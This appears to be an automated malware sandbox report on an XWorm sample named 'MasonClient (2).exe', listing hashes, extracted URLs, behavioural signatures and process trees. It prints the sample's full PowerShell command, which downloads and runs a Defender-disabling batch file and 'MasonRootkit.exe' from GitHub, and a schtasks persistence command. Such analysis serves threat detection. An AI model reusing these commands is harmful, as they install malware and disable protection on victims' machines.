Analysis
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max time kernel
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max time network
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platform
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resource
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resource tags
arch:x64arch:x86image:win7-20241010-enlocale:en-usos:windows7-x64system -
submitted
06/03/2025, 18:42
Behavioral task
behavioral1
Sample
MasonClient (2).exe
Resource
win7-20241010-en
Behavioral task
behavioral2
Sample
MasonClient (2).exe
Resource
win10v2004-20250217-en
General
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Target
MasonClient (2).exe
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Size
50KB
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MD5
8e1315e3fbb888c3406329c129c72fe1
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SHA1
fafc443d666b5de904bd53b44098a68cbb40cd6f
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SHA256
be843c7232855df03d15657ef49ba3acff09ded0016497246c26612490985adb
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SHA512
c3bbdc8a739b01a4ecb96e132fcf771943269111dfda92c1071a85843a72813a66e121f3e7bd7273fbd6710c096891ef83b420b111292569059b4b8b8532ed45
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SSDEEP
1536:GAI1lAKBCVVD489e6IvFbCCN5HGl/IbO4uI:hI1lAKBCrDJI9bCy5+/IbOJI
Malware Config
Extracted
https://github.com/charlie-60/R/raw/refs/heads/main/MasonRootkit.exe
https://raw.githubusercontent.com/ninhpn1337/Disable-Windows-Defender/main/source.bat
Extracted
xworm
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install_file
USB.exe
Signatures
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Detect Xworm Payload 1 IoCs
resource yara_rule behavioral1/memory/2608-1-0x0000000000A60000-0x0000000000A72000-memory.dmp family_xworm -
Xworm family
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Blocklisted process makes network request 2 IoCs
flow pid Process 5 2164 powershell.exe 6 2164 powershell.exe -
Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
pid Process 2164 powershell.exe -
Legitimate hosting services abused for malware hosting/C2 1 TTPs 49 IoCs
flow ioc 39 raw.githubusercontent.com 14 raw.githubusercontent.com 18 raw.githubusercontent.com 21 raw.githubusercontent.com 32 raw.githubusercontent.com 55 raw.githubusercontent.com 40 raw.githubusercontent.com 16 raw.githubusercontent.com 22 raw.githubusercontent.com 28 raw.githubusercontent.com 45 raw.githubusercontent.com 50 raw.githubusercontent.com 63 raw.githubusercontent.com 13 raw.githubusercontent.com 30 raw.githubusercontent.com 34 raw.githubusercontent.com 49 raw.githubusercontent.com 61 raw.githubusercontent.com 62 raw.githubusercontent.com 35 raw.githubusercontent.com 41 raw.githubusercontent.com 44 raw.githubusercontent.com 9 raw.githubusercontent.com 20 raw.githubusercontent.com 24 raw.githubusercontent.com 26 raw.githubusercontent.com 27 raw.githubusercontent.com 23 raw.githubusercontent.com 25 raw.githubusercontent.com 31 raw.githubusercontent.com 36 raw.githubusercontent.com 46 raw.githubusercontent.com 51 raw.githubusercontent.com 59 raw.githubusercontent.com 60 raw.githubusercontent.com 10 raw.githubusercontent.com 15 raw.githubusercontent.com 37 raw.githubusercontent.com 42 raw.githubusercontent.com 47 raw.githubusercontent.com 52 raw.githubusercontent.com 53 raw.githubusercontent.com 54 raw.githubusercontent.com 17 raw.githubusercontent.com 33 raw.githubusercontent.com 43 raw.githubusercontent.com 56 raw.githubusercontent.com 57 raw.githubusercontent.com 64 raw.githubusercontent.com -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
pid Process 2796 schtasks.exe -
Suspicious behavior: EnumeratesProcesses 1 IoCs
pid Process 2164 powershell.exe -
Suspicious use of AdjustPrivilegeToken 6 IoCs
description pid Process Token: SeDebugPrivilege 2608 MasonClient (2).exe Token: SeDebugPrivilege 2164 powershell.exe Token: 33 2804 AUDIODG.EXE Token: SeIncBasePriorityPrivilege 2804 AUDIODG.EXE Token: 33 2804 AUDIODG.EXE Token: SeIncBasePriorityPrivilege 2804 AUDIODG.EXE -
Suspicious use of WriteProcessMemory 6 IoCs
description pid Process procid_target PID 2608 wrote to memory of 2164 2608 MasonClient (2).exe 29 PID 2608 wrote to memory of 2164 2608 MasonClient (2).exe 29 PID 2608 wrote to memory of 2164 2608 MasonClient (2).exe 29 PID 2608 wrote to memory of 2796 2608 MasonClient (2).exe 31 PID 2608 wrote to memory of 2796 2608 MasonClient (2).exe 31 PID 2608 wrote to memory of 2796 2608 MasonClient (2).exe 31 -
Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
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C:\Users\Admin\AppData\Local\Temp\MasonClient (2).exe"C:\Users\Admin\AppData\Local\Temp\MasonClient (2).exe"1⤵
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2608 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -ExecutionPolicy Bypass -Command "$settings = '{\"WD\": false, \"adminrun\": false}' | ConvertFrom-Json; $randomString = \"2PewmOBXXq\"; if ($settings.WD) { $settings.adminrun = $true; (New-Object System.Net.WebClient).DownloadFile(\"https://raw.githubusercontent.com/ninhpn1337/Disable-Windows-Defender/main/source.bat\", $env:TEMP + '\' + $randomString + '.bat'); Start-Process -FilePath ($env:TEMP + '\' + $randomString + '.bat') -WindowStyle Hidden -Wait -Verb RunAs; }; if ($settings.adminrun) { $url = \"https://github.com/charlie-60/R/raw/refs/heads/main/MasonRootkit.exe\"; $outputPath = $env:TEMP + '\' + 'MasonRootkit.exe'; (New-Object System.Net.WebClient).DownloadFile($url, $outputPath); Start-Process $outputPath -Verb RunAs; } else { $url = \"https://github.com/charlie-60/R/raw/refs/heads/main/MasonRootkit.exe\"; $outputPath = $env:TEMP + '\' + 'MasonRootkit.exe'; (New-Object System.Net.WebClient).DownloadFile($url, $outputPath); Start-Process $outputPath; }"2⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2164
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C:\Windows\System32\schtasks.exe"C:\Windows\System32\schtasks.exe" /create /f /sc minute /mo 1 /tn "MasonClient (2)" /tr "C:\Users\Admin\AppData\Roaming\MasonClient (2).exe"2⤵
- Scheduled Task/Job: Scheduled Task
PID:2796
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C:\Windows\explorer.exe"C:\Windows\explorer.exe"1⤵PID:2920
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C:\Windows\system32\AUDIODG.EXEC:\Windows\system32\AUDIODG.EXE 0x4581⤵
- Suspicious use of AdjustPrivilegeToken
PID:2804
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C:\Windows\system32\taskeng.exetaskeng.exe {52ACC4EF-A501-40E2-9587-47E9FA04ED01} S-1-5-21-3692679935-4019334568-335155002-1000:BCXRJFKE\Admin:Interactive:[1]1⤵PID:912
Network
MITRE ATT&CK Enterprise v15
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Downloads
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Filesize
71KB
MD583142242e97b8953c386f988aa694e4a
SHA1833ed12fc15b356136dcdd27c61a50f59c5c7d50
SHA256d72761e1a334a754ce8250e3af7ea4bf25301040929fd88cf9e50b4a9197d755
SHA512bb6da177bd16d163f377d9b4c63f6d535804137887684c113cc2f643ceab4f34338c06b5a29213c23d375e95d22ef417eac928822dfb3688ce9e2de9d5242d10
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Filesize
183KB
MD5109cab5505f5e065b63d01361467a83b
SHA14ed78955b9272a9ed689b51bf2bf4a86a25e53fc
SHA256ea6b7f51e85835c09259d9475a7d246c3e764ad67c449673f9dc97172c351673
SHA512753a6da5d6889dd52f40208e37f2b8c185805ef81148682b269fff5aa84a46d710fe0ebfe05bce625da2e801e1c26745998a41266fa36bf47bc088a224d730cc